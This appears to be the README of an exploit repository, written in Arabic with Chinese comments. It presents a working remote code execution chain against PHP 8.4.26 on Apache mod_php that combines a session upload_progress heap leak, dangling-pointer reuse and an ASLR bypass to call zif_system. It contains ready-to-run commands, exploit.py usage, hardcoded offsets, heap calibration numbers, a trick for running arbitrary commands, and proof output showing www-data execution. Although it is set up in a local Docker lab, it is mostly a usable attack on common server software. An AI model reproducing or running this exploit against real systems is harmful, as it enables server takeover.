
استغلال عبر HTTP خالص يحقق تنفيذ التعليمات عن بُعد (RCE) على PHP 8.4.26 + Apache mod_php عبر تسريب كومة الذاكرة (heap leak) في session upload_progress، وإعادة استخدام مؤشر معلّق (dangling pointer)، وتجاوز ASLR لاستدعاء zif_system.
تحت قيود "عن بُعد بالكامل، عبر HTTP فقط، صفحة الهدف لا تحتوي على session_start()، وبدون كتابة أي PHP على جانب الهدف"، يتم اختراق RCE في PHP 8.4.26 + Apache prefork + mod_php باستخدام ملف exploit.py واحد. صورة php:8.4.26-apache الرسمية تم اختبارها فعليًا ونجحت 3/3 بنقرة واحدة (PROOF: uid=33(www-data)...). الإصدار الحالي يتطلب display_errors=1؛ أما display_errors=0 فقد تم اختراق تسريب الكومة عبر HTTP الخالص، وسيتم تقديم RCE الكامل لاحقًا.
فيما يلي الأوامر الكاملة من الصفر حتى RCE، انسخ الفقرة بأكملها ونفّذها. هذا المستودع لا يترجم PHP/Apache، ولا يوجد docker build: البيئة هي صورة php:8.4.26-apache الرسمية مع إعدادات التركيب (mount) الموجودة تحت docker/.
# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull
# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d
# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php # OK
# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
إذا كنت بالفعل داخل دليل المستودع، فتجاوز
git clone/cd؛ يمكن أيضًا حذفpull، فسيقومup -dبسحب الصورة تلقائيًا.
يقوم exploit.py تلقائيًا بتنفيذ تبديل الـ worker، والتسريب على مرحلتين، وتنفيذ zif_system، وقراءة proof، مع إعادة محاولة مدمجة في كل مرحلة. بيئة التشغيل:
| المكوّن | الإصدار | المصدر |
|---|---|---|
| PHP | 8.4.26 (NTS، mod_php) | php:8.4.26-apache |
| النظام الأساسي | Debian 12 (bookworm) | نفسه أعلاه |
| Apache | 2.4.69 (حزمة Debian 12 داخل الصورة الرسمية، مُختبَرة فعليًا) | نفسه أعلاه |
| MPM | prefork، عامل واحد | docker/apache.conf |
| Apache في تقرير lab | 2.4.68 (مُجمَّع ذاتيًا في lab الأصلي، --profile lab) | إذا لزم التطابق التام، استخدم وسم 2.4.68 من apache/httpd |
مستودع الصور الرسمي: docker-library/php (Docker Hub: php:8.4.26-apache)؛ مصدر PHP: php/php-src (الوسم php-8.4.26).
عند التشغيل الأول يتم تنفيذ docker/offsets.py تلقائيًا: يقرأ الإزاحات الحقيقية لـ zif_system / zval_ptr_dtor من libphp.so داخل الحاوية ويكتبها إلى out/offsets.env، ويقوم exploit.py بتحميلها تلقائيًا، لذا لا حاجة لتعديل الإزاحات يدويًا بعد تغيير الصورة الرسمية أو الترقية. الأمر الافتراضي هو id>/out/p1 (10 بايت)، ويُركَّب /out داخل الحاوية على ./out في المستودع، فتقع proof مباشرة على الجهاز المحلي:
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system 0x...
zval_ptr_dtor 0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
الحد الأقصى للأمر في payload هو 14 بايت. لتشغيل أي أمر، اكتب السكربت إلى دليل التحميل، ثم نفّذه باستخدام sh</out/c (8 بايت):
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'
المعاملات الشائعة: --profile، --cmd، --proof-file، --fetch، --zif-offset، --dtor-offset، --htdata-offset، --no-pre-rotate، --retries. الملف الشخصي الافتراضي هو bookworm (الصورة الرسمية)؛ بناء المختبر الأصلي يستخدم --profile lab. يمكن لـ --offsets-file '' إيقاف القراءة التلقائية، وعندما لا يكون اسم الحاوية php2shell-target استخدم --docker-container للتحديد.
معايرة الكومة في bookworm مدمجة: عدد حشوات stage1 هو 841؛ مصفوفة هدف stage2 هي 406، وطول قيمة العنصر 16؛ في stage3 يكون HTDATA=chunk+0x690d8، وحشوة A هي 6×(31,31)، مع Cookie: PHPSESSID إضافي صالح بطول 32 حرفًا، مما يجعل B يعيد استخدام المعرّف القديم (stale id) (send_cookie=0)، لتجنب أن يغطي رأس Set-Cookie الخاص بالجلسة val.type عند R0+16؛ ويستخدم B حاملًا (carrier) بحجم 15B لتغطية val.value الخاص بالمرجع. تُقرأ إزاحات libphp في الصورة الرسمية تلقائيًا كـ zif_system=0x465370 وzval_ptr_dtor=0x65eb60؛ ويستخدم المختبر الأصلي 0x43a870 / 0x613c50.
سطح الثغرة هو تهيئة الجلسة التي يطلقها session.upload_progress قبل RINIT، والمؤشر المعلّق المتبقي عبر الطلبات بعد bailout الخاص بـ OOM. فيما يلي مثال على بناء lab؛ أما القيم المعايرة لـ bookworm في الصورة الرسمية فترد في نهاية exp.
حركة الهجوم في السلسلة بأكملها هي HTTP متعدد الأجزاء (multipart) عادي، وصفحة الهدف هي فقط <?php echo "OK\n"; ?>:
تدوير worker: بعد A_bigfields (حقل POST حي بحجم 3MB + OOM بحجم 12MB) يأتي مباشرة B يقوم بتهيئة جلسة، فيخرج child بـ SIGABRT؛ وworker الجديد المتفرع من prefork يرث نفس تعيينات libphp/chunk.
تسريب الكومة: A يستخدم 1001 حقل لإطلاق تحذير max_input_vars (display_errors=On → headers_sent=1)، وPHPSESSID=\x00 يولّد id جديدًا ويضبط send_cookie=1، والحقل الأخير بحجم 12MB يحدث له OOM داخل php_session_initialize()، ويصبح PS(http_session_vars) معلّقًا. B يعيد احتلال المرجع القديم بمخزن قيم خام multipart بحجم 56B، ويحمل fake HashTable عبر zend_string حي بحجم 192B؛ القراءة خارج الحدود في php_url_encode() تكتب مؤشر chunk الخاص بـ Zend MM داخل Set-Cookie (4096B، 98 مؤشرًا).
تسريب libphp: A يضع PS(id) المعلّق عند chunk+0xb7400؛ صفحة HashTable بحجم 56B الخاصة بـ B تجعل ZSTR_LEN(PS(id)) يقرأ nTableSize=16، ومنطقة البيانات هي بالضبط nNextFreeElement|pDestructor؛ pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50، ويُستخرج libphp base من Set-Cookie.
تنفيذ الأوامر: A يستخدم 6 حشوات لتثبيت المرجع المعلّق عند R0=chunk+0x24e0؛ B يستخدم raw buffer بحجم 55B لتغطية R0-0x10، وتوضع fake HashTable في سلسلة حية بحجم 167B عند chunk+0x6e0d8، مع pDestructor = zif_system = libphp+0x43a870. سلسلة الإطلاق:
php_session_track_init()
zval_ptr_dtor(PS(http_session_vars))
zend_reference_destroy(R0)
zval_ptr_dtor(&ref->val) # IS_ARRAY_EX
zend_array_destroy(fake HT)
zend_hash_destroy(fake HT)
pDestructor(&bucket->val) # zif_system
الطرفية تستخدم فقط zif_system داخل libphp، ولا تحتاج إلى libc.